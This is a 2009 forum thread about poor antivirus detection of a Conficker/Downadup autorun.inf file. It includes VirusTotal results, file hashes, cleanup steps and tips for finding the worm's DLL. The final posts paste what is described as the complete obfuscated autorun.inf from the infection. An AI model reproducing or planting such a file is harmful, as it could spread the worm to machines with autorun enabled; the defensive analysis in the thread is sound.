Crap AV detection results

Frazer Jolly Goodfellow · Mar 28, 2009

I've just finished cleaning up a customer PC that was riddled with malware,
including the much-publicised Downadup/Conficker worm. To confirm the
latter, I 'harvested' the autorun.inf file it deposited on a test USB
memory stick and submitted it to virustotal.com. VirusTotal reported it had
first seen my suspect file on 4-Jan-2009 and that 26/40 identified it as
malicious. I requested re-analysis to see the current status.

VirusTotal now reports 25/39 hits. Which means that after nearly three
months of it being known to the anti-malware community, more than 33% of
anti-malware packages *still* don't recognise it, including several
'household' names e.g. McAfee, AntiVir, Avast!, PCTools, PrevX. Even
Microsoft's product detected it!

The participating vendors have access to the sample files submitted to
VirusTotal and would surely have received it through other sources as well.

So why aren't we seeing close to 39/39 hits? Are their specialists *that*
overloaded? Incompetent?

If they can't even detect this malware, what trust can we have in
anti-malware products?

And where does that leave anti-malware benchmarking? Scoring close to 100%
in a benchmark but missing the bleedin' obvious in live use doesn't
re-assure me at all.

1PW · Mar 28, 2009

I've just finished cleaning up a customer PC that was riddled with malware,
including the much-publicized Downadup/Conficker worm. To confirm the
latter, I 'harvested' the autorun.inf file it deposited on a test USB
memory stick and submitted it to virustotal.com. VirusTotal reported it had
first seen my suspect file on 4-Jan-2009 and that 26/40 identified it as
malicious. I requested re-analysis to see the current status.

This could have been either Conficker.A or Conficker.B, given the stated
date.

VirusTotal now reports 25/39 hits. Which means that after nearly three
months of it being known to the anti-malware community, more than 33% of
anti-malware packages *still* don't recognize it, including several
'household' names e.g. McAfee, AntiVir, Avast!, PCTools, PrevX. Even
Microsoft's product detected it!

The participating vendors have access to the sample files submitted to
VirusTotal and would surely have received it through other sources as well.

So why aren't we seeing close to 39/39 hits? Are their specialists *that*
overloaded? Incompetent?

If they can't even detect this malware, what trust can we have in
anti-malware products?

And where does that leave anti-malware benchmarking? Scoring close to 100%
in a benchmark but missing the bleedin' obvious in live use doesn't
re-assure me at all.

Going back *over* 4 weeks ago, it was /then/ my understanding that the
Conficker.A, Conficker.B and Conficker.B++ worms existed in their
_basic_ form. Also I had read, at *that* time, that >300 variations of
those basic three existed. ...and now, we have their mama, Conficker.C
and many weeks for the all of these to flourish with more variants
coming from the minds of the bad folks.

I believe this problem is like none we've seen before.

Would you please post a reply with the reported identity(s) of the worm
you found?

Do you believe that most of the big named antimalware producers have
received samples of /most/ all of the strains?

If you believe you've successfully purged your customer's system, what
tool(s) did you employ to eradicate the Conficker worm? If you still
have a copy of the virustotal URL report, that would even be better.

I'm sure that many of us share in your obvious frustration.

Pete

Frazer Jolly Goodfellow · Mar 28, 2009

This could have been either Conficker.A or Conficker.B, given the stated
date.

Going back *over* 4 weeks ago, it was /then/ my understanding that the
Conficker.A, Conficker.B and Conficker.B++ worms existed in their
_basic_ form. Also I had read, at *that* time, that >300 variations of
those basic three existed. ...and now, we have their mama, Conficker.C
and many weeks for the all of these to flourish with more variants
coming from the minds of the bad folks.

I believe this problem is like none we've seen before.

Would you please post a reply with the reported identity(s) of the worm
you found?

Pete here are the before and after reports from VirusTotal:

File has already been analysed:
MD5: 7d9542ef7c46ed5e80c23153dd5319f2
First received: 01.04.2009 23:55:36 (CET)
Date: 03.27.2009 10:53:21 (CET) [+1D]
Results: 26/40
Permalink: analisis/0b687a1372ad6cc095f0dad3dd26198c

File autorun.inf received on 03.28.2009 15:58:19 (CET)
Current status: finished
Result: 25/39 (64.11%)
Antivirus Version Last Update Result
a-squared 4.0.0.101 2009.03.28 Net-Worm.Win32.Kido!IK
AhnLab-V3 5.0.0.2 2009.03.28 Win32/Conficker.worm
AntiVir 7.9.0.129 2009.03.27 -
Antiy-AVL 2.0.3.1 2009.03.28 -
Authentium 5.1.2.4 2009.03.27 JS/AutoRun
Avast 4.8.1335.0 2009.03.27 -
AVG 8.5.0.285 2009.03.28 Worm/Generic_c.ZS
BitDefender 7.2 2009.03.28 Trojan.Autorun.AET
CAT-QuickHeal 10.00 2009.03.28 -
ClamAV 0.94.1 2009.03.28 Worm.Autorun-1838
Comodo 1087 2009.03.28 Unclassified Malware
DrWeb 4.44.0.09170 2009.03.28 Win32.HLLW.Shadow
eSafe 7.0.17.0 2009.03.27 -
eTrust-Vet 31.6.6421 2009.03.27 INF/Conficker
F-Prot 4.4.4.56 2009.03.27 JS/AutoRun
F-Secure 8.0.14470.0 2009.03.28 Worm:W32/Downaduprun.A
Fortinet 3.117.0.0 2009.03.28 -
GData 19 2009.03.28 Trojan.Autorun.AET
Ikarus T3.1.1.48.0 2009.03.28 Net-Worm.Win32.Kido
K7AntiVirus 7.10.684 2009.03.28 Trojan.BAT.Autorun.IWB
Kaspersky 7.0.0.125 2009.03.28 Net-Worm.Win32.Kido.ih
McAfee 5566 2009.03.27 -
McAfee+Artemis 5566 2009.03.27 -
McAfee-GW-Edition 6.7.6 2009.03.28 -
Microsoft 1.4502 2009.03.28 Worm:Win32/Conficker.B!inf
NOD32 3972 2009.03.28 INF/Conficker
Norman 6.00.06 2009.03.27 BAT/Autorun.IWB
nProtect 2009.1.8.0 2009.03.28 -
Panda 10.0.0.10 2009.03.27 W32/Conficker.C.worm
PCTools 4.4.2.0 2009.03.28 -
Prevx1 V2 2009.03.28 -
Rising 21.22.52.00 2009.03.28 -
Sophos 4.40.0 2009.03.28 Mal/ConfInf-A
Sunbelt 3.2.1858.2 2009.03.28 INF.Autorun (v)
Symantec 1.4.4.12 2009.03.28 W32.Downadup!autorun
TheHacker 6.3.3.8.294 2009.03.28 W32/Conficker.autorunL
TrendMicro 8.700.0.1004 2009.03.28 TROJ_DOWNAD.AD
VBA32 3.12.10.1 2009.03.27 -
ViRobot 2009.3.27.1666 2009.03.27 INF.Autorun.59288.B

Additional information
File size: 59288 bytes
MD5...: 7d9542ef7c46ed5e80c23153dd5319f2
SHA1..: f49fa573a973500d37df219d6055fd4a50f7931f
SHA256: dfc1f69b3efc968310ed8901eda055ea40fa488059a6a3763c356539820ccc3e
SHA512:
1fb7746bdff15739b2a8ff7bb52517457ac820d4bfd26efa516555db836e3ff1 f605ed399aaf0d9b83a8aa9dbf4b199398fc6626e5ff0ee98a00363404b36c56
ssdeep: 1536:uvE5/VJ8m0HJnppEnANcFqAsVH8cORecS/1:ksh6pl/H8nRK 
PEiD..: -
TrID..: File type identification Text - UTF-16 (LE) encoded
(66.6%) MP3 audio (33.3%)
PEInfo: -
RDS...: NSRL Reference Data Set -
packers (Authentium): Unicode
packers (F-Prot): Unicode

Virus Guy · Mar 28, 2009

Frazer said:
I 'harvested' the autorun.inf file it deposited on a test USB
memory stick and submitted it to virustotal.com.

The primary code-base for conficker is a .DLL file I believe.

If so, that's the file you should have sent to Virus Total.

Frazer Jolly Goodfellow · Mar 28, 2009

This could have been either Conficker.A or Conficker.B, given the stated
date.

Going back *over* 4 weeks ago, it was /then/ my understanding that the
Conficker.A, Conficker.B and Conficker.B++ worms existed in their
_basic_ form. Also I had read, at *that* time, that >300 variations of
those basic three existed. ...and now, we have their mama, Conficker.C
and many weeks for the all of these to flourish with more variants
coming from the minds of the bad folks.

I believe this problem is like none we've seen before.

Would you please post a reply with the reported identity(s) of the worm
you found?

Do you believe that most of the big named antimalware producers have
received samples of /most/ all of the strains?

If you believe you've successfully purged your customer's system, what
tool(s) did you employ to eradicate the Conficker worm? If you still
have a copy of the virustotal URL report, that would even be better.

Conficker was but one of the problems this system had. Initially it
displayed very obvious symptoms of a WinFixer type rogue AV infection -
banner on the desktop wallpaper and pop-ups announcing a gazillion spurious
infections - so I set MBAM onto it, followed by SuperAntispyware, Spybot
S&D and then Kaspersky AVP.

To be sure I'd got rid of the Conficker infection I used specific fix tools
from Symantec and Bit Defender. I later ran the latest Microsoft MRT.exe
and it still found 5 infected files after all of the others!

The cleanup post-infection was a challenge as well. No network access at
first, fixed by running WinsockXPfix and rebooting. Couldn't get it to
accept Service Pack 3 because of Access Denied errors - probably a defence
mechanism planted one or other items of the malware. Resetting the registry
and the file permissions per Microsoft's kb949377 did the trick -
eventually - the fix wouldn't complete because a program it depends on
(secedit.exe) was missing from the target system.

It has taken two days elapsed to clean up, mostly unattended I hasten to
add.

I'm sure that many of us share in your obvious frustration.

I'm frustrated because, whilst most of us can understand that a 'day-zero'
infector may well get through the best defences, you at least expect the
industry to be on top of the headline-grabbing ones that have been around
for weeks.

Frazer Jolly Goodfellow · Mar 28, 2009

The primary code-base for conficker is a .DLL file I believe.

Oh thanks for that insight. I understand that the .DLLs are randomly named,
s next time I should submit all of the .DLL files, one at a time, just in
case.

If so, that's the file you should have sent to Virus Total.

.... so the autorun.inf file planted on removable media to infect the next
PC it's plugged into isn't significant? Wouldn't it be useful if the AV
software on that PC could recognise it before it is executed?

1PW · Mar 29, 2009

This could have been either Conficker.A or Conficker.B, given the stated
date.

Going back *over* 4 weeks ago, it was /then/ my understanding that the
Conficker.A, Conficker.B and Conficker.B++ worms existed in their
_basic_ form. Also I had read, at *that* time, that >300 variations of
those basic three existed. ...and now, we have their mama, Conficker.C
and many weeks for the all of these to flourish with more variants
coming from the minds of the bad folks.

I believe this problem is like none we've seen before.

Would you please post a reply with the reported identity(s) of the worm
you found?

Click to expand...

Pete here are the before and after reports from VirusTotal:

File has already been analysed:
MD5: 7d9542ef7c46ed5e80c23153dd5319f2
First received: 01.04.2009 23:55:36 (CET)
Date: 03.27.2009 10:53:21 (CET) [+1D]
Results: 26/40
Permalink: analisis/0b687a1372ad6cc095f0dad3dd26198c

File autorun.inf received on 03.28.2009 15:58:19 (CET)
Current status: finished
Result: 25/39 (64.11%)
Antivirus Version Last Update Result
a-squared 4.0.0.101 2009.03.28 Net-Worm.Win32.Kido!IK
AhnLab-V3 5.0.0.2 2009.03.28 Win32/Conficker.worm
AntiVir 7.9.0.129 2009.03.27 -
Antiy-AVL 2.0.3.1 2009.03.28 -
Authentium 5.1.2.4 2009.03.27 JS/AutoRun
Avast 4.8.1335.0 2009.03.27 -
AVG 8.5.0.285 2009.03.28 Worm/Generic_c.ZS
BitDefender 7.2 2009.03.28 Trojan.Autorun.AET
CAT-QuickHeal 10.00 2009.03.28 -
ClamAV 0.94.1 2009.03.28 Worm.Autorun-1838
Comodo 1087 2009.03.28 Unclassified Malware
DrWeb 4.44.0.09170 2009.03.28 Win32.HLLW.Shadow
eSafe 7.0.17.0 2009.03.27 -
eTrust-Vet 31.6.6421 2009.03.27 INF/Conficker
F-Prot 4.4.4.56 2009.03.27 JS/AutoRun
F-Secure 8.0.14470.0 2009.03.28 Worm:W32/Downaduprun.A
Fortinet 3.117.0.0 2009.03.28 -
GData 19 2009.03.28 Trojan.Autorun.AET
Ikarus T3.1.1.48.0 2009.03.28 Net-Worm.Win32.Kido
K7AntiVirus 7.10.684 2009.03.28 Trojan.BAT.Autorun.IWB
Kaspersky 7.0.0.125 2009.03.28 Net-Worm.Win32.Kido.ih
McAfee 5566 2009.03.27 -
McAfee+Artemis 5566 2009.03.27 -
McAfee-GW-Edition 6.7.6 2009.03.28 -
Microsoft 1.4502 2009.03.28 Worm:Win32/Conficker.B!inf
NOD32 3972 2009.03.28 INF/Conficker
Norman 6.00.06 2009.03.27 BAT/Autorun.IWB
nProtect 2009.1.8.0 2009.03.28 -
Panda 10.0.0.10 2009.03.27 W32/Conficker.C.worm
PCTools 4.4.2.0 2009.03.28 -
Prevx1 V2 2009.03.28 -
Rising 21.22.52.00 2009.03.28 -
Sophos 4.40.0 2009.03.28 Mal/ConfInf-A
Sunbelt 3.2.1858.2 2009.03.28 INF.Autorun (v)
Symantec 1.4.4.12 2009.03.28 W32.Downadup!autorun
TheHacker 6.3.3.8.294 2009.03.28 W32/Conficker.autorunL
TrendMicro 8.700.0.1004 2009.03.28 TROJ_DOWNAD.AD
VBA32 3.12.10.1 2009.03.27 -
ViRobot 2009.3.27.1666 2009.03.27 INF.Autorun.59288.B

Additional information
File size: 59288 bytes
MD5...: 7d9542ef7c46ed5e80c23153dd5319f2
SHA1..: f49fa573a973500d37df219d6055fd4a50f7931f
SHA256: dfc1f69b3efc968310ed8901eda055ea40fa488059a6a3763c356539820ccc3e
SHA512:
1fb7746bdff15739b2a8ff7bb52517457ac820d4bfd26efa516555db836e3ff1 f605ed399aaf0d9b83a8aa9dbf4b199398fc6626e5ff0ee98a00363404b36c56
ssdeep: 1536:uvE5/VJ8m0HJnppEnANcFqAsVH8cORecS/1:ksh6pl/H8nRK 
PEiD..: -
TrID..: File type identification Text - UTF-16 (LE) encoded
(66.6%) MP3 audio (33.3%)
PEInfo: -
RDS...: NSRL Reference Data Set -
packers (Authentium): Unicode
packers (F-Prot): Unicode

This report is *so* informative as it certainly underscores your
troubles in tussling with this infestation. Unless I'm mistaken, this
Conficker is identified as /any/ of the A, B or C variants!

VG has posed a great question. However, I wonder if any of the
Confickers deletes all traces of the first/original .dll infecter file?

Thank you kindly for posting this! Much appreciated.

Pete

Frazer Jolly Goodfellow · Mar 29, 2009

You sent them a text file?

Why not? Most AV software will detect .BAT, .CMD and other script files
which are in text format.

Maybe sending the executable would get better results.

Which executable would that be?

The point is that it is as dangerous as .EXE file. If you plug a memory
stick with that specific file in its root directory into an unpatched PC
with autorun not disabled, it can cause that PC to become infected with a
worm that has been known to be in the wild for three months or more. And
33% of VirusTotal's chosen sample of representative AV programs that
purport to protect PCs from such infectors *don't detect it*.

Frazer Jolly Goodfellow · Mar 29, 2009

Right Virus Guy!

Funny how many did detect this malicious text file as vaguely
confickerlike.

A PC can become infected via the autorun.inf file being present on a USB
memory stick that is plugged into the PC. So the AV software needs to
detect that file, which is the primary infector. The randomly-named .DLL
file(s) come later - by which time it's too late!

FromTheRafters · Mar 29, 2009

Frazer Jolly Goodfellow said:
I've just finished cleaning up a customer PC that was riddled with
malware,
including the much-publicised Downadup/Conficker worm. To confirm the
latter, I 'harvested' the autorun.inf file it deposited on a test USB
memory stick and submitted it to virustotal.com.

You sent them a text file?

Maybe sending the executable would get better results.

FromTheRafters · Mar 29, 2009

Frazer Jolly Goodfellow said:
Oh thanks for that insight. I understand that the .DLLs are randomly
named,
s next time I should submit all of the .DLL files, one at a time, just
in
case.

... so the autorun.inf file planted on removable media to infect the
next
PC it's plugged into isn't significant? Wouldn't it be useful if the
AV
software on that PC could recognise it before it is executed?

It should be referred to in the affected autorun.inf file.

FromTheRafters · Mar 29, 2009

Virus Guy said:
The primary code-base for conficker is a .DLL file I believe.

If so, that's the file you should have sent to Virus Total.

Right Virus Guy!

Funny how many did detect this malicious text file as vaguely
confickerlike.

Frazer Jolly Goodfellow · Mar 29, 2009

It should be referred to in the affected autorun.inf file.

Heavily obfuscated I fear - here's a sample from the start of the file:

;Â½Â¼Dâ€°fIJÃ‰Â²uÃ€Å’Ã—Ã¼â„¢ÂGÂ¬Â¾Å ÃŒÂ·rkXÃ¯Ã®OVÃ¼jÅ fÅ¸AL*

*

;fb/
;_Ã‘ÃƒoÃˆÃžÂµÃKkAÂ¢PaÅ¸ÃƒTÂªxÂ¹uerÃ‹fÂJâ€¢ojPÂ½Ã£FfÂ¹wuÂ¨iÃ€gHâ€¦bÃªmKÂªZHyFL/
_[ * TdkjJufXACQXwTrqdYPpjbSC]_

Kfâ€™Z
; Ã‡ÂÃ¶ÃƒerÂªKÂ¯DÂ¥Ã¸oJUqHKÂÂ¦emTivÃ—NÂ¹qÃ·CÂIogÃ¥Ã—fÂ¡cÃ¬DÂ¾ÃžcÃ
*ajzLmMmVuIndpuy =lcH*
* *QPDdnsHCDPoyNqFrWqCPwdLwE= EYhdLWGyLTaLO

/KQKpTKLgSQvADhzMNrhSy/*= VZqYYrMDNyVUqfoNwyaUdSitL

;YBQÂ¯HSÅ¸oÃ‚bOÃ„Å¾ÂbÃ¨ErwuÂ£Ã¯mÅ“hHkÂ¤Ã¢FyÃºâ‚¬bâ„¢Â®iÃ¨dÃ›ZorfÂ´Nvâ€¢Ã†
;**XÃ‚ÃšOqÂ¥ÃŒÃ·ÃÃŒkâ€¡Ã’Ã–ÃƒÃ MSvâ€šÂqhÃƒHh
_XQQT/=KXpdSzJH

;**XVkPÃ¸EÃ°AÆ’Ã¯oÃ™zÃºlÂ¨GOÃ›Â¥boeS

;ÃÂ¦Å¸â€šVâ€ Ã¨Â§ivpâ€ºÃ¥Ã²ÂÃ‰vÃ¼Æ’Ã¶ÃžÃŒÂ®Â¨zÃ¬dÃ¥E
;_ TNoAÅ¸Ãªâ€ºÃquOÃ«LGbÃ¿EÃ°vÃ Ãžâ€šDYiÃ•XÃ¯Ã¤jBÂºVwÂ¨jâ€°Ã¼RÃ*

FromTheRafters · Mar 29, 2009

Frazer Jolly Goodfellow said:
A PC can become infected via the autorun.inf file being present on a
USB
memory stick that is plugged into the PC.

Is the "autorun" and/or "autoplay" actually broken, or is it only being
abused?

If it is being abused, it is a method to get the worm body to execute on
the machine. If it is broken, then this is an exploit vector (which I am
not convinced is the case here) and the worm body can be fetched and
executed by the compromised process.

So the AV software needs to detect that file, which is the primary
infector.

It is an ingress vector and does need to be detected. If it is an abuse
of the autorun or autoplay function, it can not necessarily *identify*
the malware - you need the executable for that.

The randomly-named .DLL
file(s) come later - by which time it's too late!

The DLL *is* the worm body.

Virus Guy · Mar 29, 2009

Frazer said:
I understand that the .DLLs are randomly named, next time I should
submit all of the .DLL files, one at a time, just in case.

Yes, it will be randomly named (which should be some-what easy to pick
out, for a human anyways). It will be located in either the System32
directory, program files or the user's temporary files folder.

One characteristic is that it will have the same date-stamp as the
host's kernel32.dll file.

So find kernel32.dll, look at it's date (not sure if it's created or
modified date you want) then seach the entire system (including hidden
and system files) for all .dll files with the same date. Then visually
scan the list and look for a "randomly-named" file. The bone-heads that
wrote a write-up I was reading about it doesn't mention the typical size
for this file, which would help to narrow it down.

http://mtc.sri.com/Conficker/addendumC/index.html

The file will have it's write and delete privileges set so that it can't
be deleted. Besides some registry entries that it sets (some, most or
all of which it doesn't seem to use), the only file it relies on is
itself - no accessory files. It doesn't even modify any system files
(but it does alter the memory images of some specific system files).

... so the autorun.inf file planted on removable media to infect
the next PC it's plugged into isn't significant?

The autorun.inf file is a text file. Presumably it's only a few lines
in length and contains no personally-identifiable information. If so,
please post it here. It will contain the name of the executable that
installs the DLL onto the system, so look for that file as well (if this
was a USB memory stick then it should also be on the stick). Submit
that file to Virus Total and report back the results.

Wouldn't it be useful if the AV software on that PC could
recognise it before it is executed?

I'm not sure how different AV programs are positioned in terms of
interception ability when it comes to files that are launched via
autorun.inf on removable media.

FromTheRafters · Mar 29, 2009

Frazer Jolly Goodfellow said:
Why not? Most AV software will detect .BAT, .CMD and other script
files
which are in text format.

Indeed. That file is a little like the old "autoexec.bat" file. Consider
an entry like "@hrur4ttn.exe" in that file. Sure, it would be good to
detect such an entry, but you wouldn't really know much about the
malware itself without analyzing the actual "hrur4ttn.exe" file.

Which executable would that be?

The one the information file attempts to execute when autorun is
enabled - or the one it attempts to trick the user into executing by
making it look like a simple "open" action.

The point is that it is as dangerous as .EXE file. If you plug a
memory
stick with that specific file in its root directory into an unpatched
PC

It is not a patch, it is a configuration option. Sort of like having the
option to not boot from a floppy to avoid boot sector infector
propagation.

with autorun not disabled, it can cause that PC to become infected
with a
worm that has been known to be in the wild for three months or more.
And
33% of VirusTotal's chosen sample of representative AV programs that
purport to protect PCs from such infectors *don't detect it*.

The text file?

Virus Guy · Mar 29, 2009

Frazer said:
Heavily obfuscated I fear - here's a sample from the start of the
file:

Did the material you posted come from the actual autorun.inf file, or is
it part of the file that is mentioned _in_ the autorun.inf file?

Please post the contents of the inf file here, then submit the file that
is launched from the inf file to virus total and report back the
results.

Virus Guy · Mar 29, 2009

FromTheRafters said:
The DLL *is* the worm body.

The file that is launched from the inf file may not be the actual
conficker .DLL file. It may be a loader that goes out to the internet
and obtains the actual conficker file.

This loader file could even be a specially crafted PDF file or a HTTL
URL for all we know.

FromTheRafters · Mar 29, 2009

Virus Guy said:
The file that is launched from the inf file may not be the actual
conficker .DLL file. It may be a loader that goes out to the internet
and obtains the actual conficker file.

This loader file could even be a specially crafted PDF file or a HTTL
URL for all we know.

http://www.f-secure.com/v-descs/worm_w32_downaduprun_a.shtml

Frazer Jolly Goodfellow · Mar 29, 2009

Did the material you posted come from the actual autorun.inf file, or is
it part of the file that is mentioned _in_ the autorun.inf file?

Please post the contents of the inf file here, then submit the file that
is launched from the inf file to virus total and report back the
results.

I've pasted the complete contents of the autorun.inf file below. I don't
know what is launched as a consequence of its execution because the text is
so obfuscated.

;Â½Â¼Dâ€°fIJÃ‰Â²uÃ€Å’Ã—Ã¼â„¢ÂGÂ¬Â¾Å ÃŒÂ·rkXÃ¯Ã®OVÃ¼jÅ fÅ¸AL*

*

;fb/
;_Ã‘ÃƒoÃˆÃžÂµÃKkAÂ¢PaÅ¸ÃƒTÂªxÂ¹uerÃ‹fÂJâ€¢ojPÂ½Ã£FfÂ¹wuÂ¨iÃ€gHâ€¦bÃªmKÂªZHyFL/
_[ * TdkjJufXACQXwTrqdYPpjbSC]_

Kfâ€™Z
; Ã‡ÂÃ¶ÃƒerÂªKÂ¯DÂ¥Ã¸oJUqHKÂÂ¦emTivÃ—NÂ¹qÃ·CÂIogÃ¥Ã—fÂ¡cÃ¬DÂ¾ÃžcÃ
*ajzLmMmVuIndpuy =lcH*
* *QPDdnsHCDPoyNqFrWqCPwdLwE= EYhdLWGyLTaLO

/KQKpTKLgSQvADhzMNrhSy/*= VZqYYrMDNyVUqfoNwyaUdSitL

;YBQÂ¯HSÅ¸oÃ‚bOÃ„Å¾ÂbÃ¨ErwuÂ£Ã¯mÅ“hHkÂ¤Ã¢FyÃºâ‚¬bâ„¢Â®iÃ¨dÃ›ZorfÂ´Nvâ€¢Ã†
;**XÃ‚ÃšOqÂ¥ÃŒÃ·ÃÃŒkâ€¡Ã’Ã–ÃƒÃ MSvâ€šÂqhÃƒHh
_XQQT/=KXpdSzJH

;**XVkPÃ¸EÃ°AÆ’Ã¯oÃ™zÃºlÂ¨GOÃ›Â¥boeS

;ÃÂ¦Å¸â€šVâ€ Ã¨Â§ivpâ€ºÃ¥Ã²ÂÃ‰vÃ¼Æ’Ã¶ÃžÃŒÂ®Â¨zÃ¬dÃ¥E
;_ TNoAÅ¸Ãªâ€ºÃquOÃ«LGbÃ¿EÃ°vÃ Ãžâ€šDYiÃ•XÃ¯Ã¤jBÂºVwÂ¨jâ€°Ã¼RÃ*

; RÅ ÃÃ–HÂ¬ÂµCAqVrÃppÃœÂâ€ Ã‹Ã‘Â´hÂÂ³nÆ’fmÂ¼gjAÃ‡KkÃ‚RTâ€ºÂ´Wtâ€XÃ‹UBu*
* FfWcviZFJ=kMHcLuKMpxbeHUvVLDm

mÂ¿Â¢DÃŒÃ°Ã˜vÃ®ÃÃŠXËœÅ ÃœÂâ€¢Ã²HÃeÃ‡wÃ½Å¸Å“eVlÃŒDÃ–SVnnÂªiPgÃ«prÂ¿uhÂªpÂ¾UÂ¢qo
;Ã†fÃ‡UÃ¡gÂ¤hÃ©aÃšÃuÂ¥QEPâ€žÃšvAÂ³â€œoÃ¯

*Oy/=X
;*bÃŠUÂ¦Ã¦Ã©Â£IÂ±Ãµâ€¡ÃŒlPTÃ°pÂ¸Ã¯Ã°Å¡Ã¢Å½Ã±Ã•Aâ€ Ã„Ã„xz*

_*
FibxDcy= vXKaLimbaYwSjV

;
;* /ONVÃ§Ã—Ã«iWwnESWieÃ _
;ÂªÂªÂ»Ã¡ÃÃ®VÂ¦UwÃ€Å“ÃºÃšÃ«QcpBâ€“Ã¬Ã¡EuÃ¦***
;_Æ’dEMFMkHVdÃzE_
/hNkoIumHmuk/= _YeTJ*

;Ã¥aÃ›Ã‹tDâ€”Ã¸ÃehÃ„

; VaÅ jÃ›mÃ±KDrÃ–ÃˆqÂ¶sâ‚¬â‚¬ÂÃ‹Ã’zÃºyÃ’oF*
;OÂ¦Ã¥xÅ“lhsÃºBsRÃŸÂ²rFCÂ±eâ€šâ„¢Zâ€”Ã«Ã¥Ã”Â°tÅ’Â Æ’â€™coÂGaAÃ’Ã¸nÃ½ÃªcÃºÂ*

; ÃÃžQUËœBqÂ·oÂ°â€“fYÃ“FvÃ’VauÃŠÃŒCSÃˆXHRMÃ›Ã—ÂCÆ’ÂBÂ¨WÃ·jP

/
lErlVdHCsqyQpCGb=lADRVhXyrbrvwbR

;NÃ¹Ã˜flÃ“Ã£NBÃ¾Â·Ã‡fâ€œHÅ¾

GDopXKSdiq*=nbGmMXLwZsDW/*

; *
;*

/*V=b
* /
;_
; ÃŸmÃ‰qÂ¤PepUPÃ“QtyDâ€°JËœmÂ vâ‚¬zÃ¨

; *_MkÂ¥Ã‹Ã…Iâ‚¬/
;Ã£BÃ½Jâ€”ÃªDKÃ¹Â¯Â¢Â«iÃ‚hYtjtmÂ·OÃ„yÃ¤Â¸Ã©bHÂ½MErPÂ¾DÃzÂ·ÃƒÂµÃŸpn/

/
EbaZlTYcBbgsuNyHA=MUt/
_
;

*

;LzÃBGoljB
;MRrÃŒâ€¡Ã·OMpEMâ„¢ÃŽxÂ¡Â®â€¡yÃ¦TeÃŸG*
_*

* SwkgHtTA*=*
YhuluEEVXrwHxcIMCAemHn
;Â©IiÃ¾Â½PpkÃ©gYÃË†Å“*

;***â€”ÃˆÃ€PÃ¦BË†tMÃ‘Ã†ÃŠV

*

ARI=UehzEyMvadlDxIRdDGRluR
;*Ã•Ãˆâ€œÃ”uÂ»DÃ§Â·yÃ²Â°VWÂ½_*
;Ã¡SÂ½ÃšÂÃ—â€¦ZÂBÃ–Ã¼
;ÃbjËœËœÅ lIÂ¹DÃƒbxKÅ’yÂP*

; *
_/
; Ã™ÃÃ¹SLCÅ¸X_

[*/MUGFeaRSXVUNZU]
;â€šÂ«mKÂÃ¿Â¥Ã—Ã£LcKÂ¡â€ Â³Ã‚ÂªCAÃžcYCÃ£QÃdâ€¢ÃŠÂ»ÃDÃ•K*
*
; qÃ«AweÃœEdÂ°Ã§Ã¶Ã¯lWOÂ¦BuqÃ»oâ€¢QÂµL/*

; Yâ„¢sÅ¸LÃ³Ã†ÃÂ¥ymLÅ¡u
;kLÃ±EÃÃ»Â¦GFÂ¸ÂÂ©Ã–iÃšbÂDÂ®Ã¹/

;*NSnkITpÃe
HcI= eZKabCjLwlSblRL/*
_
svCQKf /=TlyzJYZN
_
* HDmtLfc= rTvWotHiTxVObR

**_*/SvÃ¦Ã—Ã€dÃˆÃºÃ‰nâ€¦Ã†dÃ¬ÃˆÂ®KÃÃ¡ÃžÂ©yqÃŠÃƒPâ€¢Ã¤bnÂ¸sâ€k
;
sSg *=*B

njÃ˜â€˜DÂ¹ÃlXmAdZÃ¤Ã§MMnâ€”oË†ioÂÂ¸AÂ®uÃŽÂfÃ¶â€”oBSDqÂSÂ£Ã”MÃŠÃ·uEâ€°KqEÂ¶Ã¤CZÃƒâ€ºpÂ½EYWÂ®â„¢Ã¼M
*

;yWÃ«Z
; _Ã¢Ã©Ã™Ã˜Ã°vÆ’Ã‰ÃƒpoÃœÃœXhIâ‚¬b
;*_
;_*Ã Ã©Ã±Ã·Ã®PxÂ´Â§Ã°eÂUÃ®ÃƒNÂ·mÂÅ“Ã¶NcÃ˜Â¢eIbÂ±pÃ˜ktÂ¾_
_DkbRAsIkb*=lKIhzuZmKMAbuzuMdWPWFx

*JpGusPMHYfA_=* JVcourlC/

;ÃiËœrliXoÃ°IjÂµÅ¡A
/*

*
_

YUTvcKNulgVNkTbcNhN=HzVpnAQK/
_

;/*lhAkÂKÃ¶_

;qSVâ€žEÂAÃ†â€ºÃ•Â§PpÂ¦Ã¨ÃªxÃšQÂ¯â€ sKqBÃ€ÃÃ…ÃgÃ°Ã‘Fm

uVP/ =*Sge

/OpdzL=tAVAcKliVTTwTmznICEilcGAE
;*Â¿jSCIÃÅ“JÃÅ Å“â€¦llÃ²pMÂ¼vÃâ€¦Â¹Ã•FMÂ½Â¥Â´IGqâ‚¬ÂÃ±rÆ’ÂÃ’FmUnÅ HÃ„ZsÂ¿Â¾PWvUÃ¦kIPIÃšÂ¯kvÃ“/_/
_
*gHJcrnbHrTtZLyPyKLmsrZZ*= UEBGFMaiHpfDTMtUXZzjOcr
_
; EDÃ«NgUxXAIDÂ¬Ã—Ãâ€¹Ã¸â€¢Å¸ÂvÃ¿Â¢Ã¬ku

;NrEÅ“ÃŠaÃ¤eRNcÃŸwÃ»Â«JÃ™QaiCAÂ§nv/**
/
; _rHnâ€”JlCXâ€¹ÂtpKÃÂ¯KËœËœyeFMÂ³Tâ€ Â¡â„¢Ã¥BhÃ¯
*exqVMWbmM* =/KNtKqLIrGm
/

**

_yÃ¬lqÃ´Â°Ãâ€¦wÃ¶â€°mmsYâ‚¬â‚¬Ã¥zÃ©Wqlâ„¢MKPqHhvjKDjGQÃ½ÂµtFgÃuÃ†yÂ *

_mjaTnOlHKTMXrcEPE= pB*_*

*
;/Ã›ÃºNMPÂ§ioMÃ‰â„¢CpÃ—Â½AWÂ Ã™uÃ»ÃµÃ¼lâ€¹ÃŒÂ¹ÂµÃ±b*__*

/HKACUUYMdJEgNuTa=dDoAbKuxgHBrv
_
/funNYQJZbDUlxuivrKj=hsxzuRvLSAtARdPCLTgslooQ*

_
;*Ã®â€žZÂ¼KÃ®jÂ¾ÃÃ—tqÂ¹qÃ»Ã°CÃÃ³zxâ‚¬ÃS//

SbAkYmqj=NmMNjYyiM
; /

;Pâ€¹wÂºhqÃ›tQÃ¸rnÃ¹cÃ•UfÅ’YRÃ†Ã avvÃ…BQkÂ²qÃ™krÃŸqÂ·KwÂ¸afw

*

;/***

_**uqwQlFFFuoSlCWsOmjxzc/=kEryqRHuFFltvrpHImLn

aeBzPqtJ/=Vm/
[jyFPhb]
_

; tfPÂ¿Â¾Ã—FhoÃ¦VrÂ¡SIhÂ»Ã¦
**
*_
/*
